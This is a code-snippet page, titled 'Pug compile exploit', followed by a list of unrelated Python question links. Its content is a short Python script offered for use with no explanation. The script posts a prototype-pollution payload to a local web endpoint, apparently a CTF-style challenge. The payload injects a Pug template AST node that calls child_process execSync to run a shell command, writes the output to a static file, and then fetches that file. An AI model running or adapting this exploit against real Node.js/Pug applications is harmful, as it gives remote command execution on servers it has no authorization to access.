Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

0 vote301 views1 answer
Django amzon like app
Python Django
0 vote237 views1 answer
Assosciate keys as list to values in python
Python
0 vote283 views1 answer
StringIndexer pyspark
Python
0 vote277 views1 answer
Comparison python
Python
0 vote268 views2 answers
Axes color python
Python
0 vote311 views1 answer
Python def text
Python
1 vote305 views3 answers
How to add items to tuple in python
Python
0 vote327 views1 answer
Python condition question
Python
0 vote278 views1 answer
Somalia embassy in bangladesh
Python
34 votes281 views4 answers
Reindex pandas dataframe from 0
Python